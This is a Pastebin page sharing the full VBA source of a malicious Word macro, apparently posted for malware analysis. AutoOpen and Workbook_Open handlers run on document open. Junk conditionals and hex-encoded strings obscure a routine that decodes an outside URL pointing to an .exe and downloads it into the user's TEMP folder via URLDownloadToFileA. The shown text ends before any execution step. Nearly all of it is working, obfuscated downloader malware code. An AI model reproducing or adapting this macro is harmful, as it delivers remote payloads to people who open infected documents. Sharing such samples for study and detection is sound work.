SHARE
TWEET

Malicious Word macro

dynamoo Jan 8th, 2015 45 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If Win64 Then
  10.     Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal KJOldfg As Long, _
  11. ByVal oHJdfg As String, ByVal oBJHfdgg As String, ByVal yVJfdgdfg As Long, _
  12. ByVal RPBFSI As Long) As Long
  13. #Else
  14.     Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal KJOldfg As Long, _
  15. ByVal oHJdfg As String, ByVal oBJHfdgg As String, ByVal yVJfdgdfg As Long, _
  16. ByVal RPBFSI As Long) As Long
  17. #End If
  18.  
  19.  
  20.  
  21. Sub oBJhdfgdfg()
  22. If 866251 = 866251 + 1 Then End
  23. If 6245 < 27 Then
  24. If 241326 = 241326 + 1 Then End
  25. If 2955 < 23 Then
  26. If 158278 = 158278 + 1 Then End
  27. If 4282 < 17 Then
  28.         MsgBox (BJBKfdg("636270424F68766D3937"))
  29. End If
  30. If Len(BJBKfdg("465051755142464535393332")) = Len(BJBKfdg("7A4C797268514863")) Then
  31.        MsgBox (BJBKfdg("4572726F7220212121"))
  32. End If
  33.         MsgBox (BJBKfdg("5771687671714A453638"))
  34.  
  35. End If
  36. If Len(BJBKfdg("5A6E6C636C45445833383935")) = Len(BJBKfdg("784C4B7A66496170")) Then
  37. If 241426 = 241426 + 1 Then End
  38. If 8253 < 85 Then
  39.         MsgBox (BJBKfdg("57716754454B53683638"))
  40. End If
  41. If Len(BJBKfdg("7050786461524C4E39393133")) = Len(BJBKfdg("7272584B4D4F7566")) Then
  42.        MsgBox (BJBKfdg("4572726F7220212121"))
  43. End If
  44.        MsgBox (BJBKfdg("4572726F7220212121"))
  45.  
  46. End If
  47. If 619835 = 619835 + 1 Then End
  48. If 9898 < 64 Then
  49.         MsgBox (BJBKfdg("4E696755434664773534"))
  50. End If
  51. If Len(BJBKfdg("6A6B484742635A5231363438")) = Len(BJBKfdg("4B586C7A75587A71")) Then
  52.        MsgBox (BJBKfdg("4572726F7220212121"))
  53. End If
  54.         MsgBox (BJBKfdg("73504D4E6C7244533739"))
  55.  
  56.  
  57. End If
  58. If Len(BJBKfdg("58506A62746C4A5A39343138")) = Len(BJBKfdg("63664D53664B6A6F")) Then
  59. If 574821 = 574821 + 1 Then End
  60. If 8449 < 59 Then
  61. If 418567 = 418567 + 1 Then End
  62. If 7141 < 65 Then
  63.         MsgBox (BJBKfdg("6D6B70616178744A3835"))
  64. End If
  65. If Len(BJBKfdg("4473724F5972456338393831")) = Len(BJBKfdg("584E535265576678")) Then
  66.        MsgBox (BJBKfdg("4572726F7220212121"))
  67. End If
  68.         MsgBox (BJBKfdg("5751535364734E583439"))
  69.  
  70. End If
  71. If Len(BJBKfdg("7358664C6657687439323839")) = Len(BJBKfdg("44624A75776C4751")) Then
  72. If 268514 = 268514 + 1 Then End
  73. If 6375 < 28 Then
  74.         MsgBox (BJBKfdg("5259796B6A66574E3333"))
  75. End If
  76. If Len(BJBKfdg("574A55766B43716F39353438")) = Len(BJBKfdg("786D70536E775047")) Then
  77.        MsgBox (BJBKfdg("4572726F7220212121"))
  78. End If
  79.        MsgBox (BJBKfdg("4572726F7220212121"))
  80.  
  81. End If
  82. If 254242 = 254242 + 1 Then End
  83. If 4597 < 48 Then
  84.         MsgBox (BJBKfdg("69444453455341493834"))
  85. End If
  86. If Len(BJBKfdg("47654A515374786135343437")) = Len(BJBKfdg("4F78686A54715067")) Then
  87.        MsgBox (BJBKfdg("4572726F7220212121"))
  88. End If
  89.        MsgBox (BJBKfdg("4572726F7220212121"))
  90.  
  91.  
  92. End If
  93. If 712996 = 712996 + 1 Then End
  94. If 7652 < 14 Then
  95. If 524115 = 524115 + 1 Then End
  96. If 8832 < 44 Then
  97.         MsgBox (BJBKfdg("4A69504366796C4F3334"))
  98. End If
  99. If Len(BJBKfdg("696C737468474F4B39363832")) = Len(BJBKfdg("4F58476B63666976")) Then
  100.        MsgBox (BJBKfdg("4572726F7220212121"))
  101. End If
  102.         MsgBox (BJBKfdg("764B6D75764F59523234"))
  103.  
  104. End If
  105. If Len(BJBKfdg("74696379557A414332383235")) = Len(BJBKfdg("4E4143516E694771")) Then
  106. If 549271 = 549271 + 1 Then End
  107. If 2249 < 25 Then
  108.         MsgBox (BJBKfdg("6473796A4B444A4F3938"))
  109. End If
  110. If Len(BJBKfdg("6E5366566876566C33313831")) = Len(BJBKfdg("7779535A6F527355")) Then
  111.        MsgBox (BJBKfdg("4572726F7220212121"))
  112. End If
  113.        MsgBox (BJBKfdg("4572726F7220212121"))
  114.  
  115. End If
  116. If 293583 = 293583 + 1 Then End
  117. If 5626 < 22 Then
  118.         MsgBox (BJBKfdg("415652776E7642593336"))
  119. End If
  120. If Len(BJBKfdg("4B6F795A416F684636353736")) = Len(BJBKfdg("6C534F4850594677")) Then
  121.        MsgBox (BJBKfdg("4572726F7220212121"))
  122. End If
  123. iHJKHioufdg
  124.  
  125.  
  126.  
  127. End Sub
  128. Sub AutoOpen()
  129. If 299756 = 299756 + 1 Then End
  130. If 3639 < 53 Then
  131. If 983362 = 983362 + 1 Then End
  132. If 9749 < 63 Then
  133. If 991625 = 991625 + 1 Then End
  134. If 6754 < 85 Then
  135.         MsgBox (BJBKfdg("586F7874637363453637"))
  136. End If
  137. If Len(BJBKfdg("5866776D6B73695A39393237")) = Len(BJBKfdg("747A656A47654C41")) Then
  138.        MsgBox (BJBKfdg("4572726F7220212121"))
  139. End If
  140.         MsgBox (BJBKfdg("6C4B556950486C633134"))
  141.  
  142. End If
  143. If Len(BJBKfdg("6B6464434E4B4D4231353839")) = Len(BJBKfdg("4C4A48716F6A6C54")) Then
  144. If 775932 = 775932 + 1 Then End
  145. If 4334 < 18 Then
  146.         MsgBox (BJBKfdg("7247464A77674E713539"))
  147. End If
  148. If Len(BJBKfdg("4447716A6954746138353937")) = Len(BJBKfdg("676C465268724555")) Then
  149.        MsgBox (BJBKfdg("4572726F7220212121"))
  150. End If
  151.        MsgBox (BJBKfdg("4572726F7220212121"))
  152.  
  153. End If
  154. If 855787 = 855787 + 1 Then End
  155. If 5396 < 56 Then
  156.         MsgBox (BJBKfdg("456853426B4A48423339"))
  157. End If
  158. If Len(BJBKfdg("4A484D544845564F36313536")) = Len(BJBKfdg("53706C714F497343")) Then
  159.        MsgBox (BJBKfdg("4572726F7220212121"))
  160. End If
  161.         MsgBox (BJBKfdg("56486943486C766C3734"))
  162.  
  163.  
  164. End If
  165. If Len(BJBKfdg("5479715842516C5036383933")) = Len(BJBKfdg("6276506E4B4A5556")) Then
  166. If 692985 = 692985 + 1 Then End
  167. If 8975 < 83 Then
  168. If 463719 = 463719 + 1 Then End
  169. If 7327 < 48 Then
  170.         MsgBox (BJBKfdg("46595252415364503532"))
  171. End If
  172. If Len(BJBKfdg("744879535A77454B32353831")) = Len(BJBKfdg("596D494E514D7A76")) Then
  173.        MsgBox (BJBKfdg("4572726F7220212121"))
  174. End If
  175.         MsgBox (BJBKfdg("526945634E556F593133"))
  176.  
  177. End If
  178. If Len(BJBKfdg("736359786F4E744239373235")) = Len(BJBKfdg("7948797A7A746C73")) Then
  179. If 431568 = 431568 + 1 Then End
  180. If 1154 < 14 Then
  181.         MsgBox (BJBKfdg("6C76767A6C706C6E3836"))
  182. End If
  183. If Len(BJBKfdg("6C45636B6670656234333237")) = Len(BJBKfdg("6743584375676844")) Then
  184.        MsgBox (BJBKfdg("4572726F7220212121"))
  185. End If
  186.        MsgBox (BJBKfdg("4572726F7220212121"))
  187.  
  188. End If
  189. If 259124 = 259124 + 1 Then End
  190. If 6381 < 28 Then
  191.         MsgBox (BJBKfdg("5445664C444E515A3332"))
  192. End If
  193. If Len(BJBKfdg("5846474E464F615139353534")) = Len(BJBKfdg("636B6C6658696E6B")) Then
  194.        MsgBox (BJBKfdg("4572726F7220212121"))
  195. End If
  196.        MsgBox (BJBKfdg("4572726F7220212121"))
  197.  
  198.  
  199. End If
  200. If 587746 = 587746 + 1 Then End
  201. If 5774 < 13 Then
  202. If 813783 = 813783 + 1 Then End
  203. If 3563 < 53 Then
  204.         MsgBox (BJBKfdg("555762585172656A3435"))
  205. End If
  206. If Len(BJBKfdg("556162645272446837373336")) = Len(BJBKfdg("4847756F7A576367")) Then
  207.        MsgBox (BJBKfdg("4572726F7220212121"))
  208. End If
  209.         MsgBox (BJBKfdg("4D4C7A5A496C6B453635"))
  210.  
  211. End If
  212. If Len(BJBKfdg("4A67496B56774C7436363334")) = Len(BJBKfdg("6C4B7154754D6C51")) Then
  213. If 639237 = 639237 + 1 Then End
  214. If 3876 < 94 Then
  215.         MsgBox (BJBKfdg("426C73654E4751773435"))
  216. End If
  217. If Len(BJBKfdg("496C495A5379477137313439")) = Len(BJBKfdg("705873474D52664A")) Then
  218.        MsgBox (BJBKfdg("4572726F7220212121"))
  219. End If
  220.        MsgBox (BJBKfdg("4572726F7220212121"))
  221.  
  222. End If
  223. If 985124 = 985124 + 1 Then End
  224. If 6699 < 69 Then
  225.         MsgBox (BJBKfdg("4F554F6671696F4E3433"))
  226. End If
  227. If Len(BJBKfdg("43694A4D494D6A5137353439")) = Len(BJBKfdg("4B41686241424542")) Then
  228.        MsgBox (BJBKfdg("4572726F7220212121"))
  229. End If
  230.     oBJhdfgdfg
  231.  
  232.  
  233.  
  234. End Sub
  235. Sub Workbook_Open()
  236. If 381193 = 381193 + 1 Then End
  237. If 7611 < 32 Then
  238. If 712872 = 712872 + 1 Then End
  239. If 4876 < 42 Then
  240. If 476235 = 476235 + 1 Then End
  241. If 4678 < 92 Then
  242.         MsgBox (BJBKfdg("53445642516972723534"))
  243. End If
  244. If Len(BJBKfdg("506F52467A70545435353238")) = Len(BJBKfdg("7353697A70497473")) Then
  245.        MsgBox (BJBKfdg("4572726F7220212121"))
  246. End If
  247.         MsgBox (BJBKfdg("764A78424E4B4A483234"))
  248.  
  249. End If
  250. If Len(BJBKfdg("536B52596345426E35363237")) = Len(BJBKfdg("555165716B4F7346")) Then
  251. If 862387 = 862387 + 1 Then End
  252. If 8255 < 85 Then
  253.         MsgBox (BJBKfdg("5A6D6B764B774A513339"))
  254. End If
  255. If Len(BJBKfdg("705077786146537239393135")) = Len(BJBKfdg("74724D7A4D4D4E6B")) Then
  256.        MsgBox (BJBKfdg("4572726F7220212121"))
  257. End If
  258.        MsgBox (BJBKfdg("4572726F7220212121"))
  259.  
  260. End If
  261. If 865851 = 865851 + 1 Then End
  262. If 6242 < 27 Then
  263.         MsgBox (BJBKfdg("644F474F6544676A3738"))
  264. End If
  265. If Len(BJBKfdg("434F646F48726C7939343935")) = Len(BJBKfdg("76644777565A4B44")) Then
  266.        MsgBox (BJBKfdg("4572726F7220212121"))
  267. End If
  268.         MsgBox (BJBKfdg("5058774D66556F423435"))
  269.  
  270.  
  271. End If
  272. If Len(BJBKfdg("6179437A676A626938343531")) = Len(BJBKfdg("5A50626763475646")) Then
  273. If 178261 = 178261 + 1 Then End
  274. If 1698 < 47 Then
  275. If 951731 = 951731 + 1 Then End
  276. If 6355 < 66 Then
  277.         MsgBox (BJBKfdg("5368645771636D4D3539"))
  278. End If
  279. If Len(BJBKfdg("4E486D4149705A5237313936")) = Len(BJBKfdg("576F4C754167484B")) Then
  280.        MsgBox (BJBKfdg("4572726F7220212121"))
  281. End If
  282.         MsgBox (BJBKfdg("6D537042534370643233"))
  283.  
  284. End If
  285. If Len(BJBKfdg("745159767666666532343438")) = Len(BJBKfdg("596870535553444F")) Then
  286. If 885953 = 885953 + 1 Then End
  287. If 8756 < 43 Then
  288.         MsgBox (BJBKfdg("7157464A636557573935"))
  289. End If
  290. If Len(BJBKfdg("6F6A6C594679787839363937")) = Len(BJBKfdg("504D434D43525865")) Then
  291.        MsgBox (BJBKfdg("4572726F7220212121"))
  292. End If
  293.        MsgBox (BJBKfdg("4572726F7220212121"))
  294.  
  295. End If
  296. If 511977 = 511977 + 1 Then End
  297. If 2858 < 23 Then
  298.         MsgBox (BJBKfdg("766A76764C6D44713935"))
  299. End If
  300. If Len(BJBKfdg("62776346446D637035323232")) = Len(BJBKfdg("6C47586C596E5163")) Then
  301.        MsgBox (BJBKfdg("4572726F7220212121"))
  302. End If
  303.        MsgBox (BJBKfdg("4572726F7220212121"))
  304.  
  305.  
  306. End If
  307. If 723698 = 723698 + 1 Then End
  308. If 4174 < 44 Then
  309. If 973985 = 973985 + 1 Then End
  310. If 9646 < 52 Then
  311.         MsgBox (BJBKfdg("6A46554643514F663134"))
  312. End If
  313. If Len(BJBKfdg("667064456446734733383139")) = Len(BJBKfdg("4844484A77735077")) Then
  314.        MsgBox (BJBKfdg("4572726F7220212121"))
  315. End If
  316.         MsgBox (BJBKfdg("787A6246484357763236"))
  317.  
  318. End If
  319. If Len(BJBKfdg("505A556D6749657035383335")) = Len(BJBKfdg("5458794E69466863")) Then
  320. If 159517 = 159517 + 1 Then End
  321. If 1237 < 15 Then
  322.         MsgBox (BJBKfdg("476C6F50706B70673539"))
  323. End If
  324. If Len(BJBKfdg("784F73496C50745932393837")) = Len(BJBKfdg("6B65506664476C4D")) Then
  325.        MsgBox (BJBKfdg("4572726F7220212121"))
  326. End If
  327.        MsgBox (BJBKfdg("4572726F7220212121"))
  328.  
  329. End If
  330. If 116874 = 116874 + 1 Then End
  331. If 8552 < 41 Then
  332.         MsgBox (BJBKfdg("7865585579444A563833"))
  333. End If
  334. If Len(BJBKfdg("757A6C754B72584632373235")) = Len(BJBKfdg("4959586D615A6D6D")) Then
  335.        MsgBox (BJBKfdg("4572726F7220212121"))
  336. End If
  337.     oBJhdfgdfg
  338.  
  339.  
  340.  
  341. End Sub
  342. Sub iHJKHioufdg()
  343. If 483374 = 483374 + 1 Then End
  344. If 1672 < 19 Then
  345. If 648152 = 648152 + 1 Then End
  346. If 9182 < 56 Then
  347. If 127347 = 127347 + 1 Then End
  348. If 4238 < 45 Then
  349.         MsgBox (BJBKfdg("756D794A4A6458553636"))
  350. End If
  351. If Len(BJBKfdg("465070474E544B4235393738")) = Len(BJBKfdg("4972496D4D517464")) Then
  352.        MsgBox (BJBKfdg("4572726F7220212121"))
  353. End If
  354.         MsgBox (BJBKfdg("566D70434C6E52483739"))
  355.  
  356. End If
  357. If Len(BJBKfdg("675251745770574233333535")) = Len(BJBKfdg("486F676B65556C54")) Then
  358. If 422739 = 422739 + 1 Then End
  359. If 9331 < 44 Then
  360.         MsgBox (BJBKfdg("446F7845724466523537"))
  361. End If
  362. If Len(BJBKfdg("6B4675614F69617631313731")) = Len(BJBKfdg("54436E56664D656C")) Then
  363.        MsgBox (BJBKfdg("4572726F7220212121"))
  364. End If
  365.        MsgBox (BJBKfdg("4572726F7220212121"))
  366.  
  367. End If
  368. If 392732 = 392732 + 1 Then End
  369. If 4559 < 49 Then
  370.         MsgBox (BJBKfdg("65476B43754149493734"))
  371. End If
  372. If Len(BJBKfdg("50747757684D524E35343939")) = Len(BJBKfdg("54764D6E6F4E4A66")) Then
  373.        MsgBox (BJBKfdg("4572726F7220212121"))
  374. End If
  375.         MsgBox (BJBKfdg("78614F4A51434D543832"))
  376.  
  377.  
  378. End If
  379. If Len(BJBKfdg("787549695458525232343332")) = Len(BJBKfdg("6A627544767A4B4B")) Then
  380. If 181544 = 181544 + 1 Then End
  381. If 7654 < 14 Then
  382. If 831156 = 831156 + 1 Then End
  383. If 8217 < 23 Then
  384.         MsgBox (BJBKfdg("73676C4D465944513938"))
  385. End If
  386. If Len(BJBKfdg("5867476C6E434B6E39393637")) = Len(BJBKfdg("634B6C594F776A75")) Then
  387.        MsgBox (BJBKfdg("4572726F7220212121"))
  388. End If
  389.         MsgBox (BJBKfdg("746578614C7754723836"))
  390.  
  391. End If
  392. If Len(BJBKfdg("7969776A4477677232383237")) = Len(BJBKfdg("6658656471644E65")) Then
  393. If 391266 = 391266 + 1 Then End
  394. If 4544 < 63 Then
  395.         MsgBox (BJBKfdg("7247666C6474674B3834"))
  396. End If
  397. If Len(BJBKfdg("51746B6B7763717137383137")) = Len(BJBKfdg("4C4C42644B675870")) Then
  398.        MsgBox (BJBKfdg("4572726F7220212121"))
  399. End If
  400.        MsgBox (BJBKfdg("4572726F7220212121"))
  401.  
  402. End If
  403. If 948868 = 948868 + 1 Then End
  404. If 9386 < 68 Then
  405.         MsgBox (BJBKfdg("6C786F53674C50583131"))
  406. End If
  407. If Len(BJBKfdg("6B4A475A5457736331323436")) = Len(BJBKfdg("4C6D6B47446C5072")) Then
  408.        MsgBox (BJBKfdg("4572726F7220212121"))
  409. End If
  410.        MsgBox (BJBKfdg("4572726F7220212121"))
  411.  
  412.  
  413. End If
  414. If 744947 = 744947 + 1 Then End
  415. If 1149 < 76 Then
  416. If 438879 = 438879 + 1 Then End
  417. If 7344 < 77 Then
  418.         MsgBox (BJBKfdg("6345666D616562583232"))
  419. End If
  420. If Len(BJBKfdg("724C6B6C7077776638323934")) = Len(BJBKfdg("4264484265414F41")) Then
  421.        MsgBox (BJBKfdg("4572726F7220212121"))
  422. End If
  423.         MsgBox (BJBKfdg("756C534756776A683636"))
  424.  
  425. End If
  426. If Len(BJBKfdg("635266584274597632383839")) = Len(BJBKfdg("5153494C454A496C")) Then
  427. If 859458 = 859458 + 1 Then End
  428. If 2294 < 87 Then
  429.         MsgBox (BJBKfdg("70416764676875783637"))
  430. End If
  431. If Len(BJBKfdg("6E51486D6842785233313435")) = Len(BJBKfdg("464D706B4D517662")) Then
  432.        MsgBox (BJBKfdg("4572726F7220212121"))
  433. End If
  434.        MsgBox (BJBKfdg("4572726F7220212121"))
  435.  
  436. End If
  437. If 773279 = 773279 + 1 Then End
  438. If 7364 < 76 Then
  439.         MsgBox (BJBKfdg("63416E6C7A6953523232"))
  440. End If
  441. If Len(BJBKfdg("724A456C716E554338323234")) = Len(BJBKfdg("42707A4372595771")) Then
  442.        MsgBox (BJBKfdg("4572726F7220212121"))
  443. End If
  444.     iGUGIfdg = BJBKfdg("687474703A2F2F65636F766F796167652E6869322E726F2F6A732F62696E2E657865")
  445.  
  446.  
  447.  
  448. If 997564 = 997564 + 1 Then End
  449. If 9872 < 64 Then
  450. If 841319 = 841319 + 1 Then End
  451. If 8955 < 17 Then
  452. If 544828 = 544828 + 1 Then End
  453. If 8138 < 56 Then
  454.         MsgBox (BJBKfdg("4D784F51567471443631"))
  455. End If
  456. If Len(BJBKfdg("7159714B42466E5833333932")) = Len(BJBKfdg("5371447969644E5A")) Then
  457.        MsgBox (BJBKfdg("4572726F7220212121"))
  458. End If
  459.         MsgBox (BJBKfdg("4571676E714D51723338"))
  460.  
  461. End If
  462. If Len(BJBKfdg("716E6C626C64557833323138")) = Len(BJBKfdg("744D4A72646C4D50")) Then
  463. If 132848 = 132848 + 1 Then End
  464. If 8166 < 74 Then
  465.         MsgBox (BJBKfdg("756245684270615A3637"))
  466. End If
  467. If Len(BJBKfdg("75545A594C70514132333339")) = Len(BJBKfdg("7A56617153674247")) Then
  468.        MsgBox (BJBKfdg("4572726F7220212121"))
  469. End If
  470.        MsgBox (BJBKfdg("4572726F7220212121"))
  471.  
  472. End If
  473. If 713368 = 713368 + 1 Then End
  474. If 1733 < 73 Then
  475.         MsgBox (BJBKfdg("79745479696A6F423837"))
  476. End If
  477. If Len(BJBKfdg("786875666F4E766935393936")) = Len(BJBKfdg("564C506E6B765646")) Then
  478.        MsgBox (BJBKfdg("4572726F7220212121"))
  479. End If
  480.         MsgBox (BJBKfdg("6C4E656A4D616A463136"))
  481.  
  482.  
  483. End If
  484. If Len(BJBKfdg("686D497571724B6831373332")) = Len(BJBKfdg("4A42736C6C5A6A58")) Then
  485. If 818144 = 818144 + 1 Then End
  486. If 2782 < 73 Then
  487. If 268928 = 268928 + 1 Then End
  488. If 3331 < 36 Then
  489.         MsgBox (BJBKfdg("566274746C49506F3731"))
  490. End If
  491. If Len(BJBKfdg("52476F724161596E34313732")) = Len(BJBKfdg("626F554F6D754D46")) Then
  492.        MsgBox (BJBKfdg("4572726F7220212121"))
  493. End If
  494.         MsgBox (BJBKfdg("6F726F43656B48573836"))
  495.  
  496. End If
  497. If Len(BJBKfdg("626650747461757233363332")) = Len(BJBKfdg("614B666B64625450")) Then
  498. If 798944 = 798944 + 1 Then End
  499. If 1689 < 72 Then
  500.         MsgBox (BJBKfdg("75427044754F704F3632"))
  501. End If
  502. If Len(BJBKfdg("636F514D696C624B32353339")) = Len(BJBKfdg("424466696A4A4276")) Then
  503.        MsgBox (BJBKfdg("4572726F7220212121"))
  504. End If
  505.        MsgBox (BJBKfdg("4572726F7220212121"))
  506.  
  507. End If
  508. If 172833 = 172833 + 1 Then End
  509. If 1359 < 31 Then
  510.         MsgBox (BJBKfdg("475A6C4E7869726E3532"))
  511. End If
  512. If Len(BJBKfdg("774B635654414E4B35353234")) = Len(BJBKfdg("5259744D656C504A")) Then
  513.        MsgBox (BJBKfdg("4572726F7220212121"))
  514. End If
  515.        MsgBox (BJBKfdg("4572726F7220212121"))
  516.  
  517.  
  518. End If
  519. If 979924 = 979924 + 1 Then End
  520. If 9431 < 21 Then
  521. If 974261 = 974261 + 1 Then End
  522. If 3432 < 99 Then
  523.         MsgBox (BJBKfdg("6B53494E6C74445A3134"))
  524. End If
  525. If Len(BJBKfdg("494370696C46655137363935")) = Len(BJBKfdg("706E537741645A6B")) Then
  526.        MsgBox (BJBKfdg("4572726F7220212121"))
  527. End If
  528.         MsgBox (BJBKfdg("4F5275744E4D594F3432"))
  529.  
  530. End If
  531. If Len(BJBKfdg("6A4D71656F645A6134363934")) = Len(BJBKfdg("76494B425972664E")) Then
  532. If 921537 = 921537 + 1 Then End
  533. If 6954 < 87 Then
  534.         MsgBox (BJBKfdg("4277777A42556A593731"))
  535. End If
  536. If Len(BJBKfdg("426E6D6B4B55615431323237")) = Len(BJBKfdg("4D4C4C435353674C")) Then
  537.        MsgBox (BJBKfdg("4572726F7220212121"))
  538. End If
  539.        MsgBox (BJBKfdg("4572726F7220212121"))
  540.  
  541. End If
  542. If 393427 = 393427 + 1 Then End
  543. If 8147 < 32 Then
  544.         MsgBox (BJBKfdg("55425467677573783436"))
  545. End If
  546. If Len(BJBKfdg("735268534C41426A39383838")) = Len(BJBKfdg("62534F4F63674E73")) Then
  547.        MsgBox (BJBKfdg("4572726F7220212121"))
  548. End If
  549.     oGHUGIdg = Environ(BJBKfdg("54454D50")) & BJBKfdg("5C6F484947554967696664672E657865")
  550.  
  551.  
  552.  
  553. If 522687 = 522687 + 1 Then End
  554. If 8272 < 85 Then
  555. If 745647 = 745647 + 1 Then End
  556. If 7353 < 48 Then
  557. If 933229 = 933229 + 1 Then End
  558. If 6281 < 65 Then
  559.         MsgBox (BJBKfdg("4F695A6D766D6A483437"))
  560. End If
  561. If Len(BJBKfdg("564951615875764137393331")) = Len(BJBKfdg("4B7A705947735147")) Then
  562.        MsgBox (BJBKfdg("4572726F7220212121"))
  563. End If
  564.         MsgBox (BJBKfdg("756C476E716E524A3839"))
  565.  
  566. End If
  567. If Len(BJBKfdg("72466D686E5A796C38313934")) = Len(BJBKfdg("546C56454F615242")) Then
  568. If 449797 = 449797 + 1 Then End
  569. If 4394 < 74 Then
  570.         MsgBox (BJBKfdg("536C6641555270413539"))
  571. End If
  572. If Len(BJBKfdg("4F474D6B5659516535313534")) = Len(BJBKfdg("434367675A6C4456")) Then
  573.        MsgBox (BJBKfdg("4572726F7220212121"))
  574. End If
  575.        MsgBox (BJBKfdg("4572726F7220212121"))
  576.  
  577. End If
  578. If 472963 = 472963 + 1 Then End
  579. If 1568 < 18 Then
  580.         MsgBox (BJBKfdg("6D5745764D7159513831"))
  581. End If
  582. If Len(BJBKfdg("77615A4646716A5132333238")) = Len(BJBKfdg("686C7A6C556A4556")) Then
  583.        MsgBox (BJBKfdg("4572726F7220212121"))
  584. End If
  585.         MsgBox (BJBKfdg("416C5475594B70493936"))
  586.  
  587.  
  588. End If
  589. If Len(BJBKfdg("57666E467376496739393332")) = Len(BJBKfdg("727A69504F6A6C66")) Then
  590. If 229858 = 229858 + 1 Then End
  591. If 5253 < 55 Then
  592. If 671355 = 671355 + 1 Then End
  593. If 3826 < 69 Then
  594.         MsgBox (BJBKfdg("614677794C7A624F3734"))
  595. End If
  596. If Len(BJBKfdg("546D79457678644534373736")) = Len(BJBKfdg("4C5A6E6E65706776")) Then
  597.        MsgBox (BJBKfdg("4572726F7220212121"))
  598. End If
  599.         MsgBox (BJBKfdg("71776B6A576246703931"))
  600.  
  601. End If
  602. If Len(BJBKfdg("4A517767724C505A36313934")) = Len(BJBKfdg("53744D4D43565648")) Then
  603. If 328434 = 328434 + 1 Then End
  604. If 7619 < 94 Then
  605.         MsgBox (BJBKfdg("7A7A7A45746548613736"))
  606. End If
  607. If Len(BJBKfdg("6575614D42656E4E31383733")) = Len(BJBKfdg("71574947774D714E")) Then
  608.        MsgBox (BJBKfdg("4572726F7220212121"))
  609. End If
  610.        MsgBox (BJBKfdg("4572726F7220212121"))
  611.  
  612. End If
  613. If 876342 = 876342 + 1 Then End
  614. If 2554 < 71 Then
  615.         MsgBox (BJBKfdg("6F474D706472476D3639"))
  616. End If
  617. If Len(BJBKfdg("624E776B6644795A33333934")) = Len(BJBKfdg("6145565278735270")) Then
  618.        MsgBox (BJBKfdg("4572726F7220212121"))
  619. End If
  620.        MsgBox (BJBKfdg("4572726F7220212121"))
  621.  
  622.  
  623. End If
  624. If 158393 = 158393 + 1 Then End
  625. If 1489 < 69 Then
  626. If 355651 = 355651 + 1 Then End
  627. If 9315 < 96 Then
  628.         MsgBox (BJBKfdg("6168444879476F673739"))
  629. End If
  630. If Len(BJBKfdg("67485878456E6A4E31313535")) = Len(BJBKfdg("6F6F6D7A63594566")) Then
  631.        MsgBox (BJBKfdg("4572726F7220212121"))
  632. End If
  633.         MsgBox (BJBKfdg("78417569666875643232"))
  634.  
  635. End If
  636. If Len(BJBKfdg("6D585343526C4F4634363533")) = Len(BJBKfdg("58626871444A696D")) Then
  637. If 278571 = 278571 + 1 Then End
  638. If 2682 < 72 Then
  639.         MsgBox (BJBKfdg("4151756A696E755A3333"))
  640. End If
  641. If Len(BJBKfdg("76754479635A497233343432")) = Len(BJBKfdg("4E50686C59616950")) Then
  642.        MsgBox (BJBKfdg("4572726F7220212121"))
  643. End If
  644.        MsgBox (BJBKfdg("4572726F7220212121"))
  645.  
  646. End If
  647. If 143841 = 143841 + 1 Then End
  648. If 7276 < 76 Then
  649.         MsgBox (BJBKfdg("79495568696573763638"))
  650. End If
  651. If Len(BJBKfdg("754459597A65576332353439")) = Len(BJBKfdg("61757473576F6F51")) Then
  652.        MsgBox (BJBKfdg("4572726F7220212121"))
  653. End If
  654.     R = URLDownloadToFileA(0&, iGUGIfdg, oGHUGIdg, 0&, 0&)
  655.  
  656.  
  657.  
  658. If 895443 = 895443 + 1 Then End
  659. If 2645 < 82 Then
  660. If 188111 = 188111 + 1 Then End
  661. If 7649 < 71 Then
  662. If 711645 = 711645 + 1 Then End
  663. If 5689 < 12 Then
  664.         MsgBox (BJBKfdg("75796B76787644723633"))
  665. End If
  666. If Len(BJBKfdg("487946566F474A4D38383533")) = Len(BJBKfdg("6B506B716A666A6E")) Then
  667.        MsgBox (BJBKfdg("4572726F7220212121"))
  668. End If
  669.         MsgBox (BJBKfdg("4A5074686F6167623533"))
  670.  
  671. End If
  672. If Len(BJBKfdg("747164585944787138353839")) = Len(BJBKfdg("4E4551416E4B4F76")) Then
  673. If 667983 = 667983 + 1 Then End
  674. If 6321 < 89 Then
  675.         MsgBox (BJBKfdg("6A76567441504E743131"))
  676. End If
  677. If Len(BJBKfdg("56467A725065587839353834")) = Len(BJBKfdg("4B756E4945697050")) Then
  678.        MsgBox (BJBKfdg("4572726F7220212121"))
  679. End If
  680.        MsgBox (BJBKfdg("4572726F7220212121"))
  681.  
  682. End If
  683. If 726346 = 726346 + 1 Then End
  684. If 7169 < 12 Then
  685.         MsgBox (BJBKfdg("797056694865534A3838"))
  686. End If
  687. If Len(BJBKfdg("48706D595A6C4A5538383239")) = Len(BJBKfdg("6B44564D514B6866")) Then
  688.        MsgBox (BJBKfdg("4572726F7220212121"))
  689. End If
  690.         MsgBox (BJBKfdg("70434868737169743935"))
  691.  
  692.  
  693. End If
  694. If Len(BJBKfdg("6E696B78644D636635383138")) = Len(BJBKfdg("7A515750776C434D")) Then
  695. If 999663 = 999663 + 1 Then End
  696. If 9813 < 39 Then
  697. If 838419 = 838419 + 1 Then End
  698. If 5133 < 54 Then
  699.         MsgBox (BJBKfdg("4841645657446B453337"))
  700. End If
  701. If Len(BJBKfdg("4859736646447A5A38333936")) = Len(BJBKfdg("514E504C494B6748")) Then
  702.        MsgBox (BJBKfdg("4572726F7220212121"))
  703. End If
  704.         MsgBox (BJBKfdg("6C586876535A52773135"))
  705.  
  706. End If
  707. If Len(BJBKfdg("65585356764C497331363534")) = Len(BJBKfdg("52626873596B694B")) Then
  708. If 145892 = 145892 + 1 Then End
  709. If 1355 < 68 Then
  710.         MsgBox (BJBKfdg("77784A505A524D733231"))
  711. End If
  712. If Len(BJBKfdg("6C4A636E4C55774432323135")) = Len(BJBKfdg("577761447A79576C")) Then
  713.        MsgBox (BJBKfdg("4572726F7220212121"))
  714. End If
  715.        MsgBox (BJBKfdg("4572726F7220212121"))
  716.  
  717. End If
  718. If 479373 = 479373 + 1 Then End
